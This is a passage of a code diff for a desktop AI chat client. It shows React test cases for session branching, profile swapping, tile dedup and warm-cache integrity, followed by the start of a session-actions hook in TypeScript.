+    } as never)
+
+    let branchStoredSession: ((storedSessionId: string) => Promise<boolean>) | null = null
+    render(<BranchHarness onReady={branch => (branchStoredSession = branch)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(branchStoredSession).not.toBeNull())
+
+    await expect(branchStoredSession!('stored-parent')).resolves.toBe(true)
+
+    expect(createParams).toMatchObject({
+      parent_session_id: 'stored-parent',
+      source: 'desktop'
+    })
+  })
+
+  it('branches an open live chat via session.branch with a trimmed message count (bug #1/#3 fix)', async () => {
+    let branchParams: Record<string, unknown> | undefined
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.branch') {
+        branchParams = params
+
+        return {
+          session_id: 'branch-runtime',
+          stored_session_id: 'branch-stored',
+          title: 'Branch',
+          message_count: 2,
+          messages: [],
+          info: {}
+        } as never
+      }
+
+      return {} as never
+    })
+
+    setMessages([
+      { id: 'q1', role: 'user', parts: [{ type: 'text', text: 'question one' }] },
+      { id: 'a1', role: 'assistant', parts: [{ type: 'text', text: 'answer one' }] },
+      { id: 'q2', role: 'user', parts: [{ type: 'text', text: 'question two' }] },
+      { id: 'a2', role: 'assistant', parts: [{ type: 'text', text: 'answer two' }] }
+    ])
+
+    let branchCurrentSession: ((messageId?: string) => Promise<boolean>) | null = null
+    render(
+      <BranchHarness
+        activeSessionId="live-parent"
+        onCurrentReady={branch => (branchCurrentSession = branch)}
+        onReady={() => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+    await waitFor(() => expect(branchCurrentSession).not.toBeNull())
+
+    // Branch from the FIRST assistant reply ("a1"), not the last message �
+    // this is exactly the scenario that used to drop the question (bug #1):
+    // only the clicked message survived instead of everything up to it.
+    await expect(branchCurrentSession!('a1')).resolves.toBe(true)
+
+    expect(requestGateway).toHaveBeenCalledWith('session.branch', {
+      session_id: 'live-parent',
+      count: 2
+    })
+    expect(branchParams).toEqual({ session_id: 'live-parent', count: 2 })
+  })
+
+  // #67603: right-clicking a session outside the paginated sidebar window is a
+  // cache miss. Resolve its owning profile (cache → active → cross-profile) and
+  // swap to it before reading the transcript / creating the branch, so the fork
+  // is not created on whichever profile happens to be live.
+  it('resolves and swaps to the parent profile when the branched session is not cached', async () => {
+    setSessions([])
+    vi.mocked(getSession).mockResolvedValue(storedSession({ id: 'stored-parent', message_count: 1, profile: 'work' }))
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: [{ content: 'branch me', role: 'user', timestamp: 1 }],
+      session_id: 'stored-parent'
+    } as never)
+
+    let createParams: Record<string, unknown> | undefined
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.create') {
+        createParams = params
+
+        return { session_id: 'branch-runtime', stored_session_id: 'branch-stored' } as never
+      }
+
+      return {} as never
+    })
+
+    let branchStoredSession: ((storedSessionId: string, sessionProfile?: string | null) => Promise<boolean>) | null =
+      null
+
+    render(<BranchHarness onReady={branch => (branchStoredSession = branch)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(branchStoredSession).not.toBeNull())
+
+    await expect(branchStoredSession!('stored-parent')).resolves.toBe(true)
+
+    expect(ensureGatewayProfile).toHaveBeenCalledWith('work')
+    expect(getSessionMessages).toHaveBeenCalledWith('stored-parent', 'work')
+    // The create itself must carry the owning profile: in app-global remote
+    // mode the soft gateway swap alone is not enough — an omitted profile
+    // lands the branch on the launch (default) profile's state.db.
+    expect(createParams).toMatchObject({ parent_session_id: 'stored-parent', profile: 'work' })
+
+    vi.mocked(getSession).mockReset()
+  })
+
+  it('creates the branch on the cached parent session profile', async () => {
+    setSessions([storedSession({ id: 'stored-parent', message_count: 1, profile: 'work' })])
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: [{ content: 'branch me', role: 'user', timestamp: 1 }],
+      session_id: 'stored-parent'
+    } as never)
+
+    let createParams: Record<string, unknown> | undefined
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.create') {
+        createParams = params
+
+        return { session_id: 'branch-runtime', stored_session_id: 'branch-stored' } as never
+      }
+
+      return {} as never
+    })
+
+    let branchStoredSession: ((storedSessionId: string) => Promise<boolean>) | null = null
+    render(<BranchHarness onReady={branch => (branchStoredSession = branch)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(branchStoredSession).not.toBeNull())
+
+    await expect(branchStoredSession!('stored-parent')).resolves.toBe(true)
+
+    expect(ensureGatewayProfile).toHaveBeenCalledWith('work')
+    expect(createParams).toMatchObject({ profile: 'work' })
+  })
+
+  it('omits profile for a profile-less parent so single-profile users are unchanged', async () => {
+    setSessions([storedSession({ id: 'stored-parent', message_count: 1 })])
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: [{ content: 'branch me', role: 'user', timestamp: 1 }],
+      session_id: 'stored-parent'
+    } as never)
+
+    let createParams: Record<string, unknown> | undefined
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.create') {
+        createParams = params
+
+        return { session_id: 'branch-runtime', stored_session_id: 'branch-stored' } as never
+      }
+
+      return {} as never
+    })
+
+    let branchStoredSession: ((storedSessionId: string) => Promise<boolean>) | null = null
+    render(<BranchHarness onReady={branch => (branchStoredSession = branch)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(branchStoredSession).not.toBeNull())
+
+    await expect(branchStoredSession!('stored-parent')).resolves.toBe(true)
+
+    expect(createParams).toBeDefined()
+    expect(createParams).not.toHaveProperty('profile')
+  })
+})
+
+// ── Main/tile dedup (the "same session open in main AND its own tab" bug) ─────
+// A session is EITHER the main thread OR a tile, never both. openSessionTile
+// enforces this from the tile side; resumeSession enforces it from the main
+// side by dropping an existing tile when the session loads into main (cold-start
+// restore, a pasted/⌘K route, a notification jump), so it can't render twice.
+describe('resumeSession drops a redundant tile when the session loads into main', () => {
+  afterEach(() => {
+    cleanup()
+    setActiveSessionId(null)
+    setResumeFailedSessionId(null)
+    setMessages([])
+    setSessions([])
+    $sessionTiles.set([])
+    vi.restoreAllMocks()
+  })
+
+  it('closes the tile so the session is not open in both main and its own tab', async () => {
+    // The session is already an open tile (e.g. persisted across a restart)...
+    $sessionTiles.set([{ storedSessionId: 'stored-1' }])
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.resume') {
+        return { session_id: 'runtime-1', resumed: params?.session_id, messages: [], info: {} } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: [] } as never)
+
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(<ResumeHarness onReady={r => (resume = r)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(resume).not.toBeNull())
+
+    // ...and now it loads into main.
+    await resume!('stored-1', true)
+
+    // Its tile is gone — main owns the session, so it renders exactly once.
+    expect($sessionTiles.get().some(t => t.storedSessionId === 'stored-1')).toBe(false)
+    expect($selectedStoredSessionId.get()).toBe('stored-1')
+  })
+
+  it('leaves OTHER sessions tiles untouched', async () => {
+    $sessionTiles.set([{ storedSessionId: 'stored-1' }, { storedSessionId: 'stored-2' }])
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.resume') {
+        return { session_id: 'runtime-1', resumed: params?.session_id, messages: [], info: {} } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: [] } as never)
+
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(<ResumeHarness onReady={r => (resume = r)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-1', true)
+
+    // Only the resumed session's tile closes; the sibling tile stays put.
+    expect($sessionTiles.get().map(t => t.storedSessionId)).toEqual(['stored-2'])
+  })
+})
+
+// ── Warm-cache mapping integrity (the "open chat A, chat B loads" bug) ─────────
+// resumeSession's warm fast-path maps storedSessionId -> runtimeId -> cached
+// state. A reaped/respawned pooled backend re-mints runtime ids, so a recycled
+// id can resolve to a live-but-DIFFERENT session's cache entry. The fast-path
+// must verify the cached state still BELONGS to the resumed session before it
+// paints, or it shows a totally different thread under the current route.
+const clientState = (storedSessionId: string | null): ClientSessionState => createClientSessionState(storedSessionId)
+
+describe('resumeSession warm-cache mapping integrity', () => {
+  afterEach(() => {
+    cleanup()
+    setActiveSessionId(null)
+    setResumeFailedSessionId(null)
+    setMessages([])
+    setSessions([])
+    vi.restoreAllMocks()
+  })
+
+  it('rejects a cross-wired runtime mapping and falls through to a full resume', async () => {
+    // A recycled runtime id ('rt-recycled') is mapped to 'stored-A', but its
+    // cached state actually belongs to a DIFFERENT session ('stored-B') — the
+    // exact "open chat A, chat B loads" corruption a reaped/respawned pooled
+    // backend can leave behind.
+    const runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>> = {
+      current: new Map([['stored-A', 'rt-recycled']])
+    }
+
+    const sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>> = {
+      current: new Map([['rt-recycled', clientState('stored-B')]])
+    }
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.resume') {
+        return { session_id: 'rt-A-fresh', resumed: params?.session_id, messages: [], info: {} } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: [] } as never)
+
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(
+      <ResumeHarness
+        onReady={r => (resume = r)}
+        requestGateway={requestGateway}
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        sessionStateByRuntimeIdRef={sessionStateByRuntimeIdRef}
+      />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-A', true)
+
+    // The fast-path did NOT short-circuit on the cross-wired cache — the full
+    // resume RPC ran, for the session that was actually requested.
+    const resumeCalls = requestGateway.mock.calls.filter(([method]) => method === 'session.resume')
+    expect(resumeCalls.length).toBe(1)
+    expect(resumeCalls[0][1]).toMatchObject({ session_id: 'stored-A' })
+
+    // The corrupt mapping was purged so it can't mis-resolve again.
+    expect(runtimeIdByStoredSessionIdRef.current.has('stored-A')).toBe(false)
+    expect(sessionStateByRuntimeIdRef.current.has('rt-recycled')).toBe(false)
+  })
+
+  it('honours a warm cache entry whose stored id matches and refreshes its persisted transcript', async () => {
+    // Correctly-wired mapping: 'rt-A' <-> 'stored-A'. The fast-path should trust
+    // it and never reach session.resume. session.activate refreshes the live
+    // projection and, critically, rebinds its event transport after reconnect.
+    const runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>> = {
+      current: new Map([['stored-A', 'rt-A']])
+    }
+
+    const sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>> = {
+      current: new Map([['rt-A', clientState('stored-A')]])
+    }
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.activate') {
+        return {
+          session_id: 'rt-A',
+          session_key: 'stored-A',
+          resumed: 'stored-A',
+          message_count: 0,
+          messages: [],
+          running: false,
+          info: {}
+        } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: [], session_id: 'stored-A' } as never)
+
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(
+      <ResumeHarness
+        onReady={r => (resume = r)}
+        requestGateway={requestGateway}
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        sessionStateByRuntimeIdRef={sessionStateByRuntimeIdRef}
+      />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-A', true)
+
+    // Fast-path served the session from cache: no full resume RPC, mapping intact.
+    // The persisted transcript still refreshes in parallel because the runtime
+    // projection can differ even when its row count matches.
+    const methods = requestGateway.mock.calls.map(([method]) => method)
+    expect(methods).toContain('session.activate')
+    expect(methods).not.toContain('session.resume')
+    expect(getSessionMessages).toHaveBeenCalledWith('stored-A', undefined)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'session.activate',
+      expect.objectContaining({ omit_messages: true, session_id: 'rt-A' })
+    )
+    expect(runtimeIdByStoredSessionIdRef.current.get('stored-A')).toBe('rt-A')
+  })
+
+  it('preserves cached image attachments through an idle persisted transcript refresh', async () => {
+    const runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>> = {
+      current: new Map([['stored-A', 'rt-A']])
+    }
+
+    const state = clientState('stored-A')
+    state.messages = [
+      {
+        id: 'cached-user',
+        role: 'user',
+        parts: [{ type: 'text', text: 'describe this image' }],
+        attachmentRefs: ['@image:/tmp/photo.png']
+      },
+      {
+        id: 'cached-assistant',
+        role: 'assistant',
+        parts: [{ type: 'text', text: 'It is a photo.' }]
+      }
+    ]
+
+    const sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>> = {
+      current: new Map([['rt-A', state]])
+    }
+
+    const persistedMessages = [
+      { content: 'describe this image', role: 'user', timestamp: 1 },
+      { content: 'It is a photo.', role: 'assistant', timestamp: 2 }
+    ]
+
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: persistedMessages,
+      session_id: 'stored-A'
+    } as never)
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.activate') {
+        return {
+          session_id: 'rt-A',
+          session_key: 'stored-A',
+          resumed: 'stored-A',
+          message_count: persistedMessages.length,
+          messages: persistedMessages,
+          running: false,
+          info: {}
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let resumedState: ClientSessionState | undefined
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+
+    render(
+      <ResumeHarness
+        onReady={ready => (resume = ready)}
+        onStateUpdate={(_sessionId, next) => (resumedState = next)}
+        requestGateway={requestGateway}
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        sessionStateByRuntimeIdRef={sessionStateByRuntimeIdRef}
+      />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-A', true)
+
+    expect(requestGateway.mock.calls.map(([method]) => method)).toContain('session.activate')
+    expect(getSessionMessages).toHaveBeenCalledWith('stored-A', undefined)
+    expect(resumedState?.messages[0]?.attachmentRefs).toEqual(['@image:/tmp/photo.png'])
+  })
+
+  it('repairs an idle warm cache from a divergent equal-length persisted transcript', async () => {
+    const runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>> = {
+      current: new Map([['stored-A', 'rt-A']])
+    }
+
+    const state = clientState('stored-A')
+    state.messages = [
+      {
+        id: 'cached-user',
+        role: 'user',
+        parts: [{ type: 'text', text: 'stale runtime prompt' }]
+      },
+      {
+        id: 'cached-assistant',
+        role: 'assistant',
+        parts: [{ type: 'text', text: 'stale runtime answer' }]
+      }
+    ]
+
+    const sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>> = {
+      current: new Map([['rt-A', state]])
+    }
+
+    const staleRuntimeMessages = [
+      { content: 'stale runtime prompt', role: 'user', timestamp: 1 },
+      { content: 'stale runtime answer', role: 'assistant', timestamp: 2 }
+    ]
+
+    const persistedMessages = [
+      { content: 'prompt saved after compression', role: 'user', timestamp: 3 },
+      { content: 'answer saved after compression', role: 'assistant', timestamp: 4 }
+    ]
+
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: persistedMessages,
+      session_id: 'stored-A'
+    } as never)
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.activate') {
+        return {
+          session_id: 'rt-A',
+          session_key: 'stored-A',
+          resumed: 'stored-A',
+          message_count: staleRuntimeMessages.length,
+          messages: staleRuntimeMessages,
+          running: false,
+          info: {}
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let resumedState: ClientSessionState | undefined
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+
+    render(
+      <ResumeHarness
+        onReady={ready => (resume = ready)}
+        onStateUpdate={(_sessionId, next) => (resumedState = next)}
+        requestGateway={requestGateway}
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        sessionStateByRuntimeIdRef={sessionStateByRuntimeIdRef}
+      />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-A', true)
+
+    const renderedMessages = JSON.stringify(resumedState?.messages)
+    expect(renderedMessages).toContain('prompt saved after compression')
+    expect(renderedMessages).toContain('answer saved after compression')
+    expect(renderedMessages).not.toContain('stale runtime answer')
+  })
+
+  it('keeps a warm runtime and optimistic turn on a transient activation timeout', async () => {
+    const runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>> = {
+      current: new Map([['stored-A', 'rt-A']])
+    }
+
+    const state = clientState('stored-A')
+    state.messages = [
+      {
+        id: 'user-optimistic',
+        role: 'user',
+        parts: [{ type: 'text', text: 'do not lose me' }]
+      }
+    ]
+
+    const sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>> = {
+      current: new Map([['rt-A', state]])
+    }
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.activate') {
+        throw new Error('request timed out: session.activate')
+      }
+
+      return {} as never
+    })
+
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(
+      <ResumeHarness
+        onReady={r => (resume = r)}
+        requestGateway={requestGateway}
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        sessionStateByRuntimeIdRef={sessionStateByRuntimeIdRef}
+      />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-A', true)
+
+    expect(requestGateway.mock.calls.map(([method]) => method)).not.toContain('session.resume')
+    expect(runtimeIdByStoredSessionIdRef.current.get('stored-A')).toBe('rt-A')
+    expect(sessionStateByRuntimeIdRef.current.get('rt-A')?.messages[0]?.id).toBe('user-optimistic')
+  })
+})
+
+describe('createBackendSessionForSend workspace target', () => {
+  afterEach(() => {
+    cleanup()
+    $newChatProfile.set(null)
+    $activeGatewayProfile.set('default')
+    setCurrentCwd('')
+    setNewChatWorkspaceTarget(undefined)
+    vi.restoreAllMocks()
+  })
+
+  it('omits cwd for an explicit no-workspace draft even when global cwd changes before send', async () => {
+    const params = await createWith(
+      () => {
+        $activeGatewayProfile.set('default')
+      },
+      handle => {
+        handle.startFreshSessionDraft({ workspaceTarget: null })
+        $currentCwd.set('/project-open-in-file-browser')
+      }
+    )
+
+    expect(params).not.toHaveProperty('cwd')
+    expect($newChatWorkspaceTarget.get()).toBeUndefined()
+  })
+
+  it('uses the clicked workspace target instead of a later global cwd value', async () => {
+    const params = await createWith(
+      () => {
+        $activeGatewayProfile.set('default')
+      },
+      handle => {
+        handle.startFreshSessionDraft({ workspaceTarget: '/clicked-workspace' })
+        $currentCwd.set('/project-open-in-file-browser')
+      }
+    )
+
+    expect(params).toMatchObject({ cwd: '/clicked-workspace' })
+  })
+})
+describe('selectSidebarItem', () => {
+  it('fronts the workspace pane when navigating to a sidebar route (issue #72602)', async () => {
+    const navigate = vi.fn()
+    const requestGateway = vi.fn(async () => ({}) as never)
+    let handle: HarnessHandle | null = null
+
+    render(<Harness navigate={navigate} onReady={value => (handle = value)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    act(() => {
+      handle!.selectSidebarItem({ icon: (() => null) as never, id: 'skills', label: 'Capabilities', route: '/skills' })
+    })
+
+    expect(navigate).toHaveBeenCalledWith('/skills', undefined)
+    expect(noteActiveTreeGroup).toHaveBeenCalledWith(null)
+    expect(revealTreePane).toHaveBeenCalledWith('workspace')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-session-actions/index.ts b/ui-desktop/src/app/session/hooks/use-session-actions/index.ts
new file mode 100644
index 000000000..9ad380037
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-actions/index.ts
@@ -0,0 +1,1504 @@
+import { useStore } from '@nanostores/react'
+import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
+import type { NavigateFunction } from 'react-router'
+
+import { deleteSession, getSessionMessages, setSessionArchived } from '@/clawcodex'
+import { revealTreePane } from '@/components/pane-shell/tree/store'
+import { useI18n } from '@/i18n'
+import { type ChatMessage, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
+import { isMissingRpcMethod } from '@/lib/gateway-rpc'
+import { recoverInFlightTurnJournal } from '@/lib/inflight-turn-journal'
+import { setSessionYolo } from '@/lib/yolo-session'
+import { migrateSessionDraft } from '@/store/composer'
+import { clearQueuedPrompts, migrateQueuedPrompts } from '@/store/composer-queue'
+import { $pinnedSessionIds } from '@/store/layout'
+import { clearNotifications, notify, notifyError } from '@/store/notifications'
+import { $activeGatewayProfile, $newChatProfile, ensureGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import {
+  beginSessionMutation,
+  endSessionMutation,
+  resolveNewSessionCwd,
+  tombstoneSessions,
+  untombstoneSessions
+} from '@/store/projects'
+import {
+  $activeSessionStoredIdRotation,
+  $currentCwd,
+  $currentFastMode,
+  $currentModel,
+  $currentProvider,
+  $currentReasoningEffort,
+  $messages,
+  $newChatWorkspaceTarget,
+  $sessions,
+  $yoloActive,
+  type NewChatWorkspaceTarget,
+  resolveComposerSessionKey,
+  sessionPinId,
+  setActiveSessionId,
+  setActiveSessionStoredIdRotation,
+  setAwaitingResponse,
+  setBusy,
+  setCurrentBranch,
+  setCurrentCwd,
+  setCurrentCwdTransient,
+  setCurrentServiceTier,
+  setCurrentUsage,
+  setFreshDraftReady,
+  setIntroSeed,
+  setMessages,
+  setNewChatWorkspaceTarget,
+  setResumeExhaustedSessionId,
+  setResumeFailedSessionId,
+  setSelectedStoredSessionId,
+  setSessions,
+  setSessionStartedAt,
+  setTurnStartedAt,
+  setWorkspaceCwdOwner,
+  setYoloActive
+} from '@/store/session'
+import {
+  $sessionTiles,
+  closeSessionTile,
+  dropSessionState,
+  openSessionTile,
+  patchSessionTile,
+  publishSessionState,
+  type TileDock
+} from '@/store/session-states'
+import { broadcastSessionsChanged } from '@/store/session-sync'
+import { isWatchWindow } from '@/store/windows'
+import type { SessionCreateResponse, SessionMessage, SessionResumeResponse, UsageStats } from '@/types/clawcodex'
+
+import { navigateToWorkspacePage, NEW_CHAT_ROUTE, sessionRoute, SETTINGS_ROUTE } from '../../../routes'
+import type { ClientSessionState, SidebarNavItem } from '../../../types'
+import { sessionContextDrift } from '../session-context-drift'
+
+import {
+  appendLiveSessionProjection,
+  applyRuntimeInfo,
+  applyStoredSessionPreviewRuntimeInfo,
+  type BranchMessage,
+  chatMessageArraysEquivalent,
+  isSessionGoneError,
+  patchSessionWorkspace,
+  preserveLocalPendingTurnMessages,
+  reconcileResumeMessages,
+  resolveSessionProfile,
+  resolveStoredSession,
+  sessionMatchesStoredId,
+  sessionShouldHaveTranscript,
+  toBranchMessages,
+  upsertOptimisticSession
+} from './utils'
+
+interface SessionActionsOptions {
+  activeSessionId: string | null
+  activeSessionIdRef: MutableRefObject<string | null>
+  busyRef: MutableRefObject<boolean>
+  creatingSessionRef: MutableRefObject<boolean>
+  ensureSessionState: (sessionId: string, storedSessionId?: string | null) => ClientSessionState
+  getRouteToken: () => string
+  getRoutedStoredSessionId: () => null | string
+  navigate: NavigateFunction
+  onFreshDraftRouteIntent?: () => void
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+  resetViewSync: () => void
+  runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>>
+  selectedStoredSessionId: string | null
+  selectedStoredSessionIdRef: MutableRefObject<string | null>
+  sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>>
+  syncSessionStateToView: (sessionId: string, state: ClientSessionState) => void
+  updateSessionState: (
+    sessionId: string,
+    updater: (state: ClientSessionState) => ClientSessionState,
+    storedSessionId?: string | null
+  ) => ClientSessionState
+}
+
+// Stored ids created in THIS renderer run. A brand-new session lives only in the
+// gateway's in-memory map until its first turn persists a state.db row — so if a
+// respawning/flapping backend drops it, both resume RPC and the REST transcript
+// 404 even though the user just made it. We must NOT treat that as "gone" (which
+// yanks them to a fresh draft — the "new sessions clear themselves" bug); the
+// bounded retry rebinds it when the backend returns. Boot-into-a-stale-last-id
+// (NOT in this set) still legitimately drops to a draft.
+const createdThisRun = new Set<string>()
+
+// Reflect a stored row's persisted token counts into the live usage atom
+// (total is derived, so callers can't drift it out of sync with input/output).
+function applyStoredUsage(stored: { input_tokens?: number | null; output_tokens?: number | null }) {
+  const input = stored.input_tokens || 0
+  const output = stored.output_tokens || 0
+
+  setCurrentUsage(current => ({ ...current, input, output, total: input + output }))
+}
+
+function reconcileAuthoritativeMessages(
+  authoritativeMessages: SessionResumeResponse['messages'],
+  previousMessages: ChatMessage[],
+  liveProjection?: Pick<SessionResumeResponse, 'inflight' | 'queued' | 'session_id'>
+): ChatMessage[] {
+  const authoritative = toChatMessages(authoritativeMessages)
+  const withLiveProjection = liveProjection ? appendLiveSessionProjection(authoritative, liveProjection) : authoritative
+  const reconciled = reconcileResumeMessages(withLiveProjection, previousMessages)
+  const withPendingTurn = preserveLocalPendingTurnMessages(reconciled, previousMessages)
+
+  return preserveLocalAssistantErrors(withPendingTurn, previousMessages)
+}
+
+// `session.create` params from the current profile + sticky-UI model/effort/fast,
+// ensuring the gateway is on that profile first. Shared by the primary send path
+// and the "open in split" tile path; `cwd` is the one thing that differs (the
+// live composer cwd for a send, the resolved new-session cwd for a fresh tile).
+//
+// Resolving null profile to the active gateway's is load-bearing: in global-remote
+// mode one backend serves every profile, so an omitted profile silently lands the
+// chat on the launch (default) profile — the "rubberbands back to default" bug.
+// A no-op for single-profile/local-pooled users (a backend resolves its own launch
+// profile to None). The sticky UI model/effort/fast ride as per-session overrides,
+// never the profile default (that lives in Settings → Model).
+async function desktopSessionCreateParams(cwd: string): Promise<Record<string, unknown>> {
+  // Treat Send as the linearization point for the visible selector state. The
+  // profile handshake below can yield long enough for background config/model
+  // refreshes to finish; reading atoms afterward would silently create the
+  // session with a different selection than the one the user submitted.
+  const selection = {
+    effort: $currentReasoningEffort.get().trim(),
+    fast: $currentFastMode.get(),
+    model: $currentModel.get().trim(),
+    provider: $currentProvider.get().trim()
+  }
+
+  const profile = $newChatProfile.get() ?? normalizeProfileKey($activeGatewayProfile.get())
+  await ensureGatewayProfile(profile)
+
+  return {
+    cols: 96,
+    source: 'desktop',
+    ...(cwd && { cwd }),
+    ...(profile ? { profile } : {}),
+    ...(selection.model
+      ? { model: selection.model, ...(selection.provider ? { provider: selection.provider } : {}) }
+      : {}),
+    ...(selection.effort ? { reasoning_effort: selection.effort } : {}),
+    fast: selection.fast
+  }
+}
+
+interface FreshSessionDraftOptions {
+  preserveRoute?: boolean
+  replaceRoute?: boolean
+  workspaceTarget?: NewChatWorkspaceTarget
+}
+
+function normalizeNewChatWorkspaceTarget(target: NewChatWorkspaceTarget): NewChatWorkspaceTarget {
+  return typeof target === 'string' ? target.trim() || null : target
+}
+
+export function useSessionActions({
+  activeSessionId,
+  activeSessionIdRef,
+  busyRef,
+  creatingSessionRef,
+  ensureSessionState,
+  getRouteToken,
+  getRoutedStoredSessionId,
+  navigate,
+  onFreshDraftRouteIntent,
+  requestGateway,
+  resetViewSync,
+  runtimeIdByStoredSessionIdRef,
+  selectedStoredSessionId,
+  selectedStoredSessionIdRef,
+  sessionStateByRuntimeIdRef,
+  syncSessionStateToView,
+  updateSessionState
+}: SessionActionsOptions) {
+  const { t } = useI18n()
+  const copy = t.desktop
+  const resumeRequestRef = useRef(0)
+
+  // Follow auto-compression's stored-id rotation only while the exact runtime,
+  // selection, and route intent still belong to the rotating conversation.
+  // The previous implementation carried only the next stored id and navigated
+  // unconditionally; a fast A → B → C switch could therefore be overwritten
+  // by A's delayed session.info event and visibly jump back to A.
+  const storedIdRotation = useStore($activeSessionStoredIdRotation)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!storedIdRotation) {
+      return
+    }
+
+    // Consume the event even when it is stale. Rotation is an edge, not durable
+    // state; replaying it after a later remount/selection would steal focus.
+    setActiveSessionStoredIdRotation(current => (current === storedIdRotation ? null : current))
+
+    const selectedStoredSessionId = selectedStoredSessionIdRef.current
+    const routedStoredSessionId = getRoutedStoredSessionId()
+
+    if (
+      activeSessionIdRef.current !== storedIdRotation.runtimeSessionId ||
+      selectedStoredSessionId !== storedIdRotation.previousStoredSessionId ||
+      (routedStoredSessionId !== null && routedStoredSessionId !== storedIdRotation.previousStoredSessionId)
+    ) {
+      return
+    }
+
+    // Park unsent draft/queue on the durable lineage key (not the new tip).
+    // ChatBar scopes composer state on resolveComposerSessionKey(); migrating
+    // onto the tip while the composer is still bound to the root can lose newer
+    // live editor text on a brief remount. If the new tip row is not in
+    // $sessions yet, resolveComposerSessionKey falls back to the tip id — prefer
+    // the previous id (usually the lineage root) in that gap.
+    const previousId = storedIdRotation.previousStoredSessionId
+    const nextId = storedIdRotation.nextStoredSessionId
+    const sessions = $sessions.get()
+    const resolvedNext = resolveComposerSessionKey(nextId, sessions)
+
+    const durableKey =
+      resolvedNext && resolvedNext !== nextId
+        ? resolvedNext
+        : (resolveComposerSessionKey(previousId, sessions) ?? previousId)
+
+    migrateSessionDraft(previousId, durableKey)
+    migrateSessionDraft(nextId, durableKey)
+    migrateQueuedPrompts(previousId, durableKey)
+    migrateQueuedPrompts(nextId, durableKey)
+
+    setSelectedStoredSessionId(nextId)
+    selectedStoredSessionIdRef.current = nextId
+
+    // A route overlay/page has no routed session id, but the underlying selected
+    // chat still needs to follow the continuation. Update that selection in
